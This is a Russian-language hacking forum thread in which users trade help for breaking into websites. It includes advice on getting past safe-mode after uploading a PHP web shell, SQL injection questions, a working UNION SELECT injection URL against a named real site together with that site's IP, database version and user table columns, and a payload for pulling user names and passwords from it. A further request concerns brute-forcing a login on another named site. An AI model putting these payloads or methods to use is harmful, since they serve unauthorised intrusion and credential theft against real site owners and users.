Ваши вопросы по уязвимостям.

на венде нет чмодов, поэтому и не ставит. А файлы редактировать не можешь, потмоу что прав нет. В настройках IIS можно так настраивать.

 

уже лучше,а где если не сикрет включить/отключить?

 

В настройках учётных записей, хотя боюсь в винде это будет сделать не просто...

 

Наверное в конфигах IIS - но прав у тебя нет наверняка для этого.

ЗЫ. в какой доменной зоне сайт?)

 

Shadrin, существуют простые аплодеры которые работают средствами mysql, через into outfile

 

введи у себя на винде в цмд и почитай:

Может и прокатит на твоем шелле,хотя и маловероятно.

 

хелп плиз.
есть доступ к админке, можно заливать файлы на сервер, залил php shell, но на сервере Safe-mode ON. даже листинг файлов сделать нельзя.
Скажите что нужно прописать в .htaccess, чтобы в папке(не cgi-bin) исполнялись perl скрипты?

 

чти

 

ребят всем доброго времени суток
подскажите пожалуйста я установил xampp запустил цмд прописал путь :
c:\xampp\php\php.exe
далее начал прописывать путь к сплойту и нечего не происходит
даже если написать после хампа всякую чушь вроде dsdhsds тоже не реагирует
просьба за символичискую плату помоч =)) если ошибся разделом извиняйте

 

Не функции, а аргументы )

 

Всем привет.Нашёл инжект в Microsoft JET Dabatase.Узнал пару тройку имён таблиц.Количество полей подобрал.После подстановки реальной таблицы выдаётся ошибка:

Syntax error in FROM clause.

Как это объяснить и как выдрать информацию ?

Запрос вышел что-то вроде parameter+union+select+1,2,3+FROM+realtable

 

Всем привет)Помогите подобрать имя таблицы, много вариантов перепробовал, но все без успешны...
http://gazanalyzator.ru/?id=70+union+select+1,2/*
Заранее спасибо)

 

_ttp://gazanalyzator.ru/?id=-70+union+select+version()+from+news/*

 

Code:

=============================
gazanalyzator.ru
89.104.81.227
=============================
4.1.22-standard
-------
-------
Найденные таблицы:
-------
itaf_user
news
vote_results
-------
=============================
Найденные колонки из таблицы itaf_user:
-------
id
user_name
user_pass
user_mail
=============================


http://gazanalyzator.ru/?id=70+union+select+1,concat_ws(0x3a,user_name,user_pass)+from+itaf_user/*

 

Привет всем. думаю все знают прагу brutus-aet2. В инете милион статей как с помощью этой праги угнать мыло и фтп, а вот как этой прагой подобрать пасс зная логин к сайту(тоесть к форме) немогу понять. вроде как то получилось так прага вылает левые пароли. кому не трудно обьесните пожалуйста. пытался подобрать пасс к сайту http://www.voyna-plemyon.ru/

 

http://forum.antichat.ru/thread109600.html
Эту попробуй

 

Возможностей много но прага сырая.
Обьясни как брудить форму прагой brutus-aet2.

 

Прога не сырая а универсальная, как раз формы норм брутит....

 

И так
Твой запрос приводит к ошибке.
Error pulling cat information from database: (SELECT cat_na as cat, maincat FROM cfaq_cats WHERE catid = 24) Unknown column 'cat_na' in 'field list'
Т.е. intval() нету, что неплохо.
Зато просто ограничение в 2 символа
Если хочешь, крути скулю в лимит 2 символа